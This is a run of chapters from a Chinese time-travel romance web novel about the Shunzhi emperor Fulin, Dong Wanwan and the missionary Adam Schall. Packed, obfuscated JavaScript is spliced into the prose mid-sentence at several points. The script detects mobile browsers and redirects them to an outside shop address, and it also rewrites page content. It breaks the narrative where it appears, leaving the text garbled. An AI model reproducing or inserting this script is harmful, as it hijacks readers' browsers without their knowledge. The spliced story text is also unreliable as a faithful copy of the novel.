福临听见她这样说,心中憋着的那口气彻底憋不住了,他双手扶着董浣浣的肩膀,眼睛通红的看着她,“我不好,我非常不好,我快怕死了,你知道当我得知你昏倒的消息的时候,我整个人都疯了吗,不是说不让你参与进去吗,不是说让你好好保护自己,为什么不听我的话。”,说完头无力的靠在了董浣浣的肩膀上。 董浣浣伸手想要扶起他,看看他的情况,他却不肯。 董浣浣无奈,“我错了。”,环抱住他,小声的认错。 “求你,就算是为了我,一定要平安。”,福临靠在她肩膀上喃喃的说,“我害怕……” 许久,董浣浣感觉肩膀处有了些许湿意。 他哭了…… 堂堂一国之君的他,竟然因为她哭了。 董浣浣你何德何能,让他陷入如此境地。他日,若你先他而去,他会怎么样,董浣浣不敢往下想了…… 董浣浣小心的摸了摸他的头,既是撒娇又是诱哄,低声的说道:“福临,我渴了。” 这是她第一次喊他的名字。 他,爱新觉罗.福临的名字。 等了这么久,终于让他等到了,这一刻他圆满了。 福临抬起脸,从她后背伸出手,抹了把脸,站起身来,“渴了吧,我去给你倒水”,转身走到桌边,边给她倒水边和她解释道,“这里是汤若望,汤大人的偏宅,平时很少有人来,很适合静养”,说完把水递给她。 董浣浣接过水,喝了一口,继续看向他,福临自是明白此刻她心中所想,有些无奈的叹了口气,然后耐着性子的和她解释道,“你放心,我们的关系没有被人发现,皇宫那边吴良辅都处理好了,对外宣称你回家静养了,董鄂府也派人通知你阿玛配合了,没有人知道我和你在这里,这里很安全,所以你现在安心的在这里乖乖养伤就好。” 董浣浣闻言总算安下心来,喝光了杯子中的水,然后把杯子递给他。 “还喝吗?”,福临接过杯子柔声的问。 董浣浣点了点头,小声的回应道,“还要。” 福临应声,转过身去继续给她倒水。 看着福临的背影,想到他刚刚说话时候的神情以及语气,不知为何董浣浣竟然从他这个天之骄子的身上看到了“无力”二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了,你现在需要多休息”,福临把董浣浣扶好靠在墙上然后又往她后背垫了两个垫子,转身从新给她倒了杯水,递给她,“喝了水,就先休息一下,太医说你现在还不能进食,会吐,我过一会儿吩咐人给你准备点吃的,等你醒来了就可以吃了。” 董浣浣乖巧的点了点头,接过水一口一口小心的吞咽。 等她喝完之后,福临接过杯子,扶着她躺好,顺便给她掖了掖被角,坐在了她床旁边的椅子上,“你睡吧,我在这里守着你,等你睡着了我再出去。” 董浣浣轻轻的点了点头,答了一声,“嗯。”,从被子里伸出手来,握住了他的手,然后听话的闭上了眼睛。 这一天照顾董浣浣的工作从头到尾都是福临一个人亲力亲为,没有假手他人一下。 吴良辅还是第一次见到主子这样亲力亲为的去照顾一个人,震惊程度堪比当年得知主子要当皇帝。 晚上吃过饭之后,董浣浣便见到了传闻中的汤若望,汤大人,一个满脸胡须,能够说一嘴流利的汉语的,原汁原味的外国人。 84. 他的老师 在二十一世纪见到一个能够说一嘴流利的普通话的外国人那是件很稀松平常的事情,但是在大清朝能够见到这样的外国人,简直比见到玉玺还难得。 经过福临的一番介绍之后,董浣浣大致对这个外国人有了初步的了解,汤若望,德国人,天主教传教士,明万历四十八年来的中国,距今已经有三十年的时间了。 “什么,他也是你师父啊,你的师父真的好多啊”,在得知汤若望也是福临的师父时,董浣浣本能的感慨道。 洪承畴、阚先明,庙祝师父,光她知道就有三个了,再加上这个汤若望就是四个了,还有他在宫里上书房读书的师父们,他的师父也未免太多了点吧,让人有种到处都有他师父的错觉,也算是真正意义上做到了孔老夫子说的那句话了,三人行必有我师。 福临听到她这样说,不知为何脑袋里一时间浮现的竟是阚先明的身影,顿时感觉有些不自在,手握拳置于嘴前,清咳了一声,然后道,“是有些多。” “所以,你都从汤老师那里学习什么呀?”,董浣浣好奇的问道。 一个常年居住在中国的外国传教士可以教中国的一国之君什么呢? 天主教吗? 董浣浣记得福临他是信佛教的。 汤若望是德国人,难不成福临是跟他学习是德语吗? 福临闻言看了她一眼,便知道她脑袋里又开始琢磨一些古灵精怪的想法。 与其让她瞎琢磨一些有的没的,还不如让她亲身体会一下他的所学,更让人记忆深刻。 福临随即笑了一下,并没有回答她的问题,只是躬下身去与她平视,董浣浣并没有料想到事情会往这个方向发展,被他突如其来的动作给惊到了,脸一瞬间涨的通红,腿本能的向后退,想要拉开两个人之间的距离,不过还没等她走远,就被福临又拉到了眼前。 “干嘛呀,有人看着呢”,董浣浣有些不好意思的嗔怪道,然后看了一眼吴良辅给福临使眼色。 既然知道了他的身份,现在又是在外面,那么多双眼睛盯着,为了他也为了自己,董浣浣觉得他们多多少少还是要避嫌一些的。 福临立刻领会了似的对吴良辅说道,“单良、、、、、、” 吴良辅立刻理解了他的要求,转过身去,主仆二人一令一动,配合的好默契。 最终尴尬的只有董浣浣一人而已。 董浣浣恼了,这俩人到底是什么神级的理解能力啊? 有没有人能来听她解释啊,她不是这个意思啊,她只是单纯的想要告诉福临在外面要注意影响而已,没有让单良回避的意思啊。 福临自然是知道她的意思的,之所以不配合只是想要逗逗她而已,看到她这幅欲言又止有苦难言的样子有些想笑,但又害怕她会炸毛,生生的憋住了,躬下身去完成刚刚想要完成却被她打断的事情,帮她整理头发。 他的脸距离她的脸只有不到两寸的距离,她甚至都可以感受到他的鼻息,这个距离,这个动作实在是太危险了,简直比拥抱的杀伤力都大,董浣浣感觉她的心脏都快跳出来了。 终于他抬起手来,轻轻的拿起了她额前的一根碎发,然后是第二根,第三根……他的动作仔细而温柔,一根一根的把她的碎发从纱布中取出来,都取出来之后又帮她集中整了一下,把碎发给她别到了耳后。 这期间他的手不经意的碰到了她的耳朵,董浣浣觉得她整个耳朵都热了起来,此刻她不用照镜子都知道她的耳朵已经红艳欲滴,甚至她的脸也应如是。 原来他只是想帮她整理头发啊,后知后觉的董浣浣才反应过来刚刚是她想多了。 “好了,头发进到纱布里面了,万一擦着伤口就不好了。”,整理完之后,福临如是说。 “所以你刚刚拉我只是为了给我整理头发?”,董浣浣问。 “当然了,不然你以为我要做什么?”,话说的一本正经,可是说这话的语气又让董浣浣觉得他不是很正经,给人一种被调戏了错觉,却还无从反驳,“没什么,我就是这么觉得的。” “你怎么脸红了”,福临像是刚刚发现新大陆般的指着她的脸问道。 看似关心,但说话的语气却出卖了他。 “没有,我没有脸红”,董浣浣一把抓住他指着她的手,义正言辞的反驳。 如果刚刚她以为她被调戏了只是错觉,那么她现在可以肯定了,她刚刚就是被调戏了,不是错觉。 董浣浣不明白,一个堂堂天子怎么变成了这样,他以前的人设不是这样的啊,明明昨天还好好的高冷禁欲系美男子(虽然在她面前并不怎么高冷禁欲),今天怎么就变成这样了呢! 今天的他和往常的他让董浣浣有一种完全不是一个人的割裂感。 到底是哪里出了问题啊,他怎么变得如此的,如此的,董浣浣一时想不到贴切的词语来形容她此刻的感受。 福临见她已经生气了,便不再逗她,见好就收的说道,“好,不生气了,你没脸红,是我看错了。” 董浣浣见状,从鼻孔里哼了一声,这还差不多。 就在这时她的脑袋里突然灵光一闪般的蹦出了一个词,“轻浮”。 对,虽然有些大逆不道,但是此刻她终于找到了这个词,可以很贴切的描绘出她之前所要表达的感受。 高冷美男子之一国之君被她形容成轻浮孟浪男,嘿嘿,如此的大逆不道,这事可一定不能让他知道,董浣浣暗暗的捂了捂嘴。 福临并不知道此刻她心里的这些“无法无天”的想法,还在柔声的哄她,“好了,别生气了,汤师父在等我们了,我带你去见见他。” 本来这事已经翻篇了,福临给了台阶,她也下了,她是面子也有了,里子也有了,甚至还在心里埋汰了他一把,接下来只需继续保持稳重下去,刚刚一切的尴尬就统统都可以解释为幻觉,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815909|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果福临后面的这句话直接让她破功了,直接笑出了声。 汤师父,康师傅,傻傻分不清楚! 汤大人,汤达人,都是大人! 真是太好笑了。 虽然知道这样不对,有失身份,但是她就是控制不住啊。董浣浣像是被人点了笑穴一般,根本停不下来,她笑得腰都直不起来了,眼泪刷刷的往外流,就差直接躺地上打滚儿了。 她如此失态,福临也不干预,就站在旁边看着,任由她笑着,乐着,闹着,他不知道他的这句话里到底有哪一点可以把她逗成这样,让她如此开怀,不过这都不重要了,只要能让她开心,其他的什么事情都不重要,他都已经好久没有看到她如此肆意的笑了,那个在旅途中无论遇到什么情况最终都可以笑着,闹着,玩着,乐着的姑娘,因为他的原因已经走失好久了。 现在她回来了,真好。 董浣浣笑够了之后,自觉的有些失态,站起身来清了清嗓子开始低头认错,“对不起,是我错了,你罚我吧。”,眼睛里闪着无比真诚的光。 看到她这样,福临无奈的笑了笑了,他的这辈子真的被她吃的死死的了。她真是很清楚该如何平息他的怒气,看到这样的她,他即使是满腔怒火也都会烟消云散了,更何况此刻他并没有生气,福临轻抚了一下她的头顶,语气温柔的问道,“真就这么好笑?” 董浣浣乖乖的点头,回答了声:“嗯。” 福临帮她收拾了一下有些歪了的纱布,“既然真有那么好笑那就笑吧,笑又不是罪过。” 蹬鼻子就上脸,见他并没有生气,董浣浣再一次的确认道,“所以,汤师父真的是你的师父吗?” 福临轻抚了一下她的头顶,回答道,“当然,古人有言,博百家之所长为我所用,必当事半功倍。” 反正他们能够在一起的时间已经不多了,既然已经任性到这个份上了了,那就索性任性到底吧,董浣浣再一次蹬鼻子上脸的问道,“古人,哪个古人说的?”,一副求知欲爆棚的样子看向他。 福临闻言,笑答,“我这个古人啊。” 蹬鼻子上脸的董浣浣这一刻有些懵了,这不是现代人的梗吗,他怎么会的,董浣浣有些不确定的问道,“你这是在和我开玩笑吗?” 福临见状,笑着答道“对啊,你刚刚不是问我跟他学什么吗,我主要跟他学习开玩笑啊。”,说完摸了摸还处在懵逼状态的董浣浣的头,“汤师父开玩笑的功力,无人能与之一战。” 听完他的话董浣浣感觉自己更懵了,所以他是福临的玩笑老师? 他到底是一个什么样的古怪人物,才能想到如此古怪的教育科目? 福临今天不同寻常的原因大概就是因为他吧。 开玩笑的功力,居然还没能有人能与他一战? 也不知道他的收费怎么样? 董浣浣对这个汤若望的好奇在这一刻达到了顶点。 85. 赴宴 汤若望的家修建在北京的西郊,人迹罕至却又依山傍水的,很适合修养。 躺了一整天的董浣浣,经过了三分五次的软磨硬泡福临之后终于被允许走出她住的那个小院儿,和他一起去前厅拜访汤若望。 在去前厅的这一路,董浣浣也没闲着,左看看,右瞅瞅,好好的参观了一下汤若望的家。 假山,凉亭,小桥,流水,整体的布局和中国古代建筑的布局完全一样,没有什么特殊的,要是福临不说她完全看不出来这是一个外国传教士的住所。 其实他变成这样,董浣浣也能理解,毕竟他已经来中国三十年了,比他在自己国家生活的时候都长,除了长相无法改变之外,其他生活习惯被同化了也正常。 要是硬说有什么不同的,大概就只有她睡觉的那间屋子的陈设了,油画,闹钟,纱质床帐等等,有着浓浓的欧式风格,与房子的外部结构有种格格不入的诡异感。 福临带董浣浣去见汤若望的时候,正巧赶上他吃晚餐。 刚一踏进正厅的门,董浣浣就想收回刚刚说的的话了。 整个正厅的风格,让人感觉一股浓浓的欧式风情扑面而来,那道门仿佛是一扇穿越门,门内门外是两个完全不同的世界,门外是中国清朝园林风,门内则是欧洲贵族奢华风。 大理石的地面,石膏白墙,四处摆放着的雕塑,拱形的天花板上坠着一大盏吊灯,处处皆彰显着主人与众不同的身份标签,让每一个来客都可以清楚的认识到一个问题,他是一个外国人。 一张白色大理石桌子上优雅的摆放着三幅刀叉,红酒和牛排。 只不过看着一个大胡子的外国人穿着中式长袍站在桌子旁招待他们入座的画面多少有些滑稽。 董浣浣想象了无数的可能性,见到汤若望的第一面他会穿什么衣服,是西式礼服还是传教服或者朝服,却怎么也没想到他会穿成这个样子,再低头看了看自己以及站在她旁边的福临的着装此刻也并没有比他的好到哪儿去,好家伙,三个人的着装没有一个适合当下的场景。 董浣浣楞在原定不动,福临也不催她,就陪着她楞在原地和汤若望你看看我,我看看你,一番眼神交流之后,汤若望便不理他了,转而看向董浣浣,“董姑娘,怎么不过来坐啊,是哪里有问题吗?” 听到汤若望操着一口流利的中文叫她,董浣浣终于回过神来,回答道,“没,没什么问题。” “没问题,那就过来坐啊”,汤若望笑着说道。 既然三个人穿的都不和场景,那就是场景本身出现了问题,董浣浣最终总结,然后向汤若望到了谢,心安理得的坐了下来。 看着桌子上的刀叉和牛排,董浣浣开始回想上次她这样隆重的吃牛排是多久之前的事儿了。 咦、、、、、、怎么想不起来了呢,再一想,额、、、、、、好像是没有。 和大清朝的皇帝以及德国传教士一起吃牛排,这种排面,是她今生的第一次。 “我来帮你切”,刚坐下福临便把她跟前的盘子端了过去,极耐心的一点一点的帮她切好。 看着他的动作,董浣浣的鼻头微微的泛酸,堂堂的一国之君,平时都是只有被别人伺候的份,什么时候做过这样的事儿,这两天他为了她放下了所有的身段,就差洗手作羹汤了,董浣浣你何德何能,让他做到如此地步啊。 “我自己可以弄的,你不用这么惯着我,你再这样下去,我都快要忘了你是皇上了。”,董浣浣靠近他,小声的和他商量。 福临停下手中的动作,嘱咐她离他远一些,害怕不小心伤着她,“你忘记了,从你第一天认识我,我就只是我啊,从来也没变过呀。” “可是……”,董浣浣想要反驳。 福临抬头,“可是什么?你难道真的会被我宠坏吗?” 一般人在碰到这个问题时,答案一定是“怎么可能”,然后再加上一堆解释和佐证来论证这个观点,可是此刻董浣浣却诚实而又煞风景的回答道,“真的会。” 福临像是料定了她会这么说,轻笑了一声,语气轻快的回答道,“你如果被我惯坏,那岂不是更好,那样的话你就再也无法离开我了。” 他,怎么越来越会撩了啊…… 董浣浣被他这句话给噎住了,一时间不知道该如何如何作答。 吃了满满一嘴狗粮的汤若望清咳了一声,说道,“抱歉,打扰了两位的雅兴,我只是想要告诉你们一声,这里还有第三个人,然后顺便问一下董小姐有没有觉得哪里不方便的,可以给我说。” 他的语气认真而严肃,董浣浣暗暗在心里大呼不好,是他们唐突了,都怪福临之前骗她说,汤大人是玩笑大师,让她有了先入为主的观念以为汤大人是个幽默又不拘小节的人。 如今才意识到汤大人他的身份是传教士啊,是背负着传播天主教重任的人,多么严肃的职业,怎么可能是个爱开玩笑的外国老头儿。 董浣浣刚想开口道歉,就被汤若望把话给截了去,一副怨妇状的控诉道,“算了,你能有什么不满意的,你又不像我有那么一个不管不顾的便宜徒弟。” 语气画风转的有点快,差点闪到到了董浣浣的腰。 爱开玩笑的老头儿,福临果然是诚不欺我啊,董浣浣在心里默默的认证。 他的上半句调侃董浣浣全当没有听到,却对下半句抱怨产生了很大的兴趣,“你的便宜徒弟怎么你了?” 听见董浣浣这样问,旁边的福临不自然的清咳了一声。 董浣浣被他的咳声吸引了注意力,丢下了好奇心,转过头去开始关心起他的身体状况,“你怎么了吗,不舒服吗?” 福临轻掩唇角,说了声,“没事。” 见他没事,董浣浣再次转过头来看向汤若望,接着问道,“所以,汤大人你的便宜徒弟怎么你了?” 汤若望闻言露出食指左右摇了摇,一副不赞同的样子,“董姑娘这么不专心,不是听故事的态度哦。” 看到他这样福临忍不住的在旁边拆台,“老头儿,她想听你就说给她听吧,明明自己也憋不住,装什么高深莫测呢!” 董浣浣还是第一次见到福临这个样子,没有在她面前的稳重感,也没有在外人面前的掌控欲,更没有在群臣面前的威严状,有的只是单纯的孩子气。 原来他还有这样不为人知的一面啊。 年少便登上皇位,人前人后皆是规矩,是皇上,是主子,是君王,无论前朝还是后宫皆以他为主,是权力也是包袱,自从他登基为皇的那一刻开始,他大概再也没有享受过和他同龄人一样的自由了吧。 还好有这么一个人可以让他肆无忌惮的孩子气,真好。 汤若望听他这么说撇了撇嘴表示不满,但到底也是按照他的要求回答了董浣浣的提问,“还能怎么样”,汤若望指了指这屋子的布置接着说道,“你看这房子被他收拾的多么古怪。” “古怪?”,董浣浣不解。 “这还不古怪吗,你看看这花里胡哨的布置,我都不敢邀请人来家里,怕被人说我有毛病。”,说完看了董浣浣一样,好像觉得不解气似的又补充道,“哪里有送人房子,送得像他这样没有品味的!” 董浣浣愣了,向汤若望求证道歉,“所以这房子是你那便宜徒弟送你的?” 汤若望点头。 董浣浣更愣了,合着这是不花钱,人家送的房子,他居然还不满意,这样的好事去哪里找,怎么她就遇不上呢,“你这便宜徒弟哪里找的,可不可以给我介绍一下,我也想收他为徒”,董浣浣弱弱的提议道,她真的也很想占此便宜。 “噗呲”,旁边的福临闻言差点把手中的刀叉丢了出去。 终于上钩了,汤若望幸灾乐祸的冲着董浣浣往福临的方向努了努嘴,“哪,就这这儿,徒弟媳妇儿你问问他愿意不愿意拜你为师,只不过他要是拜你为师了,你们俩这辈分有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815910|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点问题,不好称呼啊。”,汤若望一脸为难,好似真的在为这种局面而设想解决方法。 “啊”,董浣浣这才反应到他口中的便宜徒弟居然是福临啊。 董浣浣一时间有些手足无措。 这事真的不能怪她,主要是她实在是无法把福临和“便宜”划上等号。 福临见状,适时的出来收拾局面道,“老头儿,别太过分了,我做这一切还不是因为你每次在我面前都一副思乡情切的样子,然后叨叨叨你那个远在天边的家里如何如何,怎么按照你的意愿给你布置了,你又得了便宜还卖乖呢!” 汤若望略作思考状,转而一笑,“这样说好像也是哦。” 福临嗤笑,“是哦,那还不快点给我们倒酒。” “哪有徒弟这样使唤师父的,真是目无师长,”汤若望拿起酒瓶骂骂咧咧的开始给福临倒酒,董浣浣见状想要接过酒瓶替他,被福临给制止了,“让老头弄,多活动活动,对他身体好”。 “多活动活动对我身体好,”汤若望阴阳怪气的附和道,转而拿过董浣浣的酒杯准备给她倒酒,却被福临眼疾手快的给阻止了,“她额头上有伤,现在不能喝酒。” 汤若望见状,放下手中的酒瓶,赏了他们一个很长的“呵呵”,然后坐下去径自开始吃自己的牛排了。 福临把切好的牛排递给董浣浣,“会用吗?”,看到董浣浣盯着刀叉看,以为她不会用,便出声开口问。 “嗯,会用,以前在家的时候阿玛请的老师有教过我。”,董浣浣随口答道。 “时代真是大不同了呢,你家的老师都会教这个礼节啦!”,汤若望一脸高深莫测的说道。 董浣浣这才意识到她刚刚的话有些不妥,他们生活在清早期,来华的洋人本就不多,怎么可能有清官家里专门请老师教这些东西。 不过福临像是未有所觉般的开口给她解围道,“老头,吃你的饭吧,你以为别人都像你一样不思进取呢。” 汤若望呵呵了两声,便不在继续这个话题了。 一顿饭吃下来,气氛很是融洽。 就在董浣浣以为可以一直这样的融洽到各自回房的时候,汤若望的一句话差点没把董浣浣给噎死。 “那个既然吃了我家的饭,就要随我家徒弟的姓了啊”,汤若望放下刀叉,拿着餐巾优雅的擦着嘴道。 果然是吃人家嘴软,董浣浣恨。 今天在餐桌上被人家摆了一道又一道,最后来了这么一道,早知道不吃了,如果不按照他的话做,耶稣会原谅我吗,董浣浣有些害怕。 他的徒弟? 身为传教士,那徒弟没有一千至少也得八百吧,这要是跟他徒弟姓,那名字得有多长啊?! 董浣浣弱弱的举起手问,“汤师父,我请问一下,你有多少徒弟?” 汤若望立刻领会了她的心中所想,带着看好戏的心情冲着福临努努嘴道,“哪,就这一个,你还想要多少个?” 又是她想多了…… 董浣浣低下头去,声若蚊蝇,“没,没有,我没有想要很多个……” 得,真是丢人,越描越黑了…… 董浣浣是在汤若望的笑声中慌乱的拉着福临离开的。 “你这个老师不是个好人”,一走出门董浣浣就迫不及待的嗔怪道。 福临一把搂住她的肩膀,笑着反驳,“那你就错了,他确实是个好人。” 董浣浣撇过头去,从鼻孔里发出了一个“哼”。 福临见状,捏住她的小脸柔声的开始哄她。 他捏脸,董浣浣不让他捏,两人一路打打闹闹的回到了董浣浣住的别苑。 在进屋之前,董浣浣收起笑容,很认真的对福临说道,“我有事想要和你商量。” 福临立刻领会了她的意图,也敛去了脸上的笑容回答她道,“不行。” 董浣浣想要抗辩,又被他把话把截去,“至少今天不行”。 87. 心事 董浣浣再一次醒来的时候,发现自己不知道什么时候已经从榻上躺到了床上,整个人脑袋懵懵的还没有完全的清醒,她搓着眼,迷迷瞪瞪的往四周看了看,没有找到福临的身影。 于是晃晃悠悠的转身下床,穿上鞋走出内室,嘴里轻唤着福临的名字。 坐在外室批阅奏折的福临,抬眼便看到这副景象,他的姑娘连鞋子都没有穿好,嘴里喊着他的名字,像是个没有断奶的奶娃娃找妈妈般晃晃悠悠的找他。 “我这这呢”,福临放下手中的奏折,有些无奈的摇了摇头,走到她跟前把披在身上的外套给她披上,然后蹲下身去,帮她整理没有穿好的鞋子。 他的手刚一伸向前,董浣浣的脚像是触电了一样,条件反射般的就要收回去,福临眼疾手快的拉住了她的脚,小声的责备,“小心点,鞋子都没穿好,别摔了。” 董浣浣糯糯的点了点头,拢了拢身上的外套,说了一声“哦。” “你看看你这么不会照顾自己,还不愿意让婢女伺候,我如何能放心的下……” 他的责备声就在耳边,看着他蹲下身为她忙碌的背影,董浣浣的意识渐渐的回笼,眼睛微微有些湿润。 离开这里之后,这么温柔的他,她怕是很难在拥有了吧。 一想到这儿心脏的位置便不受控制的隐隐作痛。 原来这就是心痛的感觉啊,母胎solo多年的她还是第一次有了这种体验,真是长知识了,董浣浣捂住胸口有些无奈的想。 如果有可能的话,她真的好想好想一直待在他的身边。 只可惜,她想破了脑袋也没有想到一个两全之法。 看到福临有要起身的动作,怕被他看到自己眼含泪痕的样子,董浣浣连忙抬手擦了一下眼睛,挤出一个笑容。 等福临帮她整理好鞋子站起来,自是没有看到她的动作。 福临看着她的笑脸,忍不住的拍了拍的她的头,拉着她旁边的榻上坐好,俯下身来,语声轻柔的问道,“睡了一上午了,饿了吗,我让单良去给你准备点吃的。” 董浣浣听他这么说,感觉自己确实有点饿了,又想着这可能是他们在一起吃的最后一顿饭了,于是乖乖的点了点头,说了声,“好。” 看到她点头,福临便冲着门口招呼了一声,“门外有人吗?” 此时,吴良辅恰好从外面回来,听到他的召唤,便应声走了进去。 福临见来人是吴良辅,心里便已经有数了,主仆二人交换了个眼色之后福临开口问道,“董鄂府那边准备好了吗?” 吴良辅应道,“回主子的话,鄂硕老爷都已经按您的要求准备好了,只待我们将浣主子送到府上,便可以由他出面送回宫中了”,说完看了董浣浣一眼,又冲着董浣浣点了个头。 董浣浣见状也冲他点了个头算是回礼。 福临颔首,又接着说道,“屋里有点凉,找个人去浣儿房间给她拿件披风过来,顺便帮她整理一下衣物,吃过饭我们便出发了。” 从吴良辅进门开始,神经一向大条的董浣浣这次很神奇的察觉到了气氛的微妙,听福临这样说,还没等吴良辅应声,董浣浣便很有眼力劲的先摆着手,很是通情达理的看向福临,说道,“不用麻烦他们了,我自己回去收拾就好了,正好活动活动,我刚刚睡太久了,想出去透透气。”,说完顺便把披在她身上的福临的外套递到了他手上。 见她要自己去,福临也不勉强,正好趁着这会功夫把该交代的事情让吴良辅交代下去,便嘱咐了她几句让她小心,又把手中的外套给她披上,“外面凉,你刚睡醒,还是披着吧,回来的时候一起拿回来就好。” 董浣浣低头看着那绣着龙纹的披风,有点踌躇。 福临立刻领会了她的为难,“没关系的,这里都是自己人,没有会在意的,你放心。” 董浣浣这才放心下来,乖乖的穿着披风出去了。 待确定董浣浣走远后,福临开口问道,“舅舅那边怎么说?” 吴良辅闻言拱手回复道,“回主子的话,卓礼克图亲王态度很是坚决,今天甚至还去了永福宫太后那里施压。” “好,朕知道了”,听到吴良辅的回话,福临的心情并无起伏。无所谓,这结果早就在他的预料之内,昨天之所以向吴克善提出来,也只是缓兵之计,顺便看一下吴克善的反应,如今既已知晓答案,便也没有什么可顾及的了。“让人继续盯紧了舅舅和八旗各部的动静,如有异动随时来报。” 吴良辅应声,“是。” 等他回复完,福临接着交代道,“还有让卫苑去通知洪先生一切按照原计划进行,看准时机便可以动手了。” 吴良辅再次拱手应下。 交代完所有的事情之后,福临无比严肃的补充道,“记住,这些事情一个字都不能漏到浣儿耳朵里”。 吴良辅回复道,“奴才,明白。” 闻言,福临点了点头,想着董浣浣也快回来了,便简单的交代了一下吴良辅所需的菜品,让他去厨房准备了。 董浣浣从福临的房间出来,一口气走出了老远,直到确保房间里面的人看不到她了,才停下脚步,转头看向福临的房门,心里有些犹豫、、、、、、 这马上就要回去了,那件事到底她要不要问他啊? 待董浣浣从自己的房间回来之后,很快吴良辅便吩咐人把饭菜端上了桌。 因为是避嫌出去的,董浣浣没有听到福临和吴良辅的对话,起初还有些担心送来的又会是西餐,牛排是好吃,可是她是中国人的胃,偶尔吃吃还好,总是吃西餐她很是接受无能,而且虽然头已经不疼了,但是目前为止她还是病人,老是这样大鱼大肉也实在是说不过去,还好看到端上来的都是些清粥小菜,一颗悬着的心放了下来。 不过想想也是,作为大清朝的皇帝,福临即使在很多事上做到了开明,但毕竟骨子里还是很传统的,就像这个院子,即使他让人把整个宅院的房间都装修的很欧式,可是还是会为自己留下这间完全中式的房间,更何况让他在这个完全中式的房间吃西餐,简直是痴人说梦。 福临看她站在那里傻愣愣的盯着菜,也不坐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815912|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便开口问道,“怎么不坐下,是不是这些菜不合你的胃口,不合胃口的话,我让他们去给你换。”,说着就要招呼吴良辅换菜。 董浣浣闻言,赶忙摆手道,“没有,没有,没有不合我的胃口,我只是以为我们还要接着吃牛排。” “你还想吃牛排?”,福临语调微扬的询问道。 董浣浣觉得他问这话的语气怪怪的,可是又说不上来哪里怪,便很诚实的回答道,“不想吃了。” 福临闻言点了点头,“那就好,你头上有伤,吃太多牛排不利于你的恢复。” 董浣浣感觉到他似乎好像是松了口气,对她的答应很满意,于是乖乖的回答了一个,“哦”。 “坐吧”,福临拍拍他身旁的椅子,招呼董浣浣坐下。 董浣浣走过去按照他的要求乖乖的坐下了,然后往门外看了一眼,说道,“今天,汤师父不和我们一起吃饭吗?” 福临柔声的回答道,“他今天有事出去了,没在府里,就不和我们一起吃饭了。” 董浣浣点了点头,“这样啊。” 待仆人部好碟之后,福临往她的碗里给她夹了一筷子青菜,“我让单良吩咐厨房给你准备了些比较容易消化的食物,你尝尝合不合你的口味,如果不和你的口味,我再让他们去换。” 董浣浣夹起自己碗里的青菜尝了一下,对福临点了点头,“挺好吃的,不用麻烦他们了。” 听她这样说,福临挥手把其他人都遣退了。 “说吧”,饭毕福临唤人将饭食撤走之后开口道。 酒足饭饱之后正抱着茶杯慢慢嘬着茶的董浣浣听到他这样说,一时间没有反应过来,不明所以的抬起头来,“说什么?” 福临放下手中的茶杯,看向她,一脸严肃的道,“从你换衣服回来,踏进这个屋开始,你的脸上就明晃晃的写了四个大字”。 听他这样说,董浣浣下意识的摸了摸自己的脸,疑惑的开口道,“哪四个大字?” 福临指着她的脸一字一顿的回答道,“我有心事。” 说完还没等董浣浣反驳,便又接着说道,“我不知道发生了什么事情,让你这样为难,你现在生着病,这样憋着心事,对你的身体不好,浣儿,你不是个能藏住话的人,我也不喜欢你有事瞒着我而委屈你自己,到底是事情让你这么为难,只要你说出来我都会帮你解决。” 董浣浣闻言有些羞惭的缓缓的低下了头,原来她已经表现的如此明显了啊,手指在杯子上摩挲着,一时间不知道该怎么开口。 她不说话,福临也不催她,很是耐心的在旁边等着她开口。 许久,董浣浣抬起头来看向他,一脸真诚的问道,“是不是我现在问什么问题,你都会和我实话实说?” 福临点头,“当然,我是天子自当是一言九鼎,更何况是在你面前,只要你开口,我都会据实已告。” 董浣浣听他这样说,没有立即提问转而低下头去,喝了口水,做足了心理准备之后,抬起头来,平视着他的眼睛问道,“石小睕的事情是你做的吗?” 88. 交心 “石小睕的事情是你做的吗?” 她就这样一眨不眨的直直的望着他,眼睛里流露的尽是探究。 福临有想过有一天她会知道这些事,只是没想到她会这么早的知道。 他的女孩看上去傻傻的,但有些时候却聪明的让人诧异,懂事的让人心疼,福临有些怜惜的想。 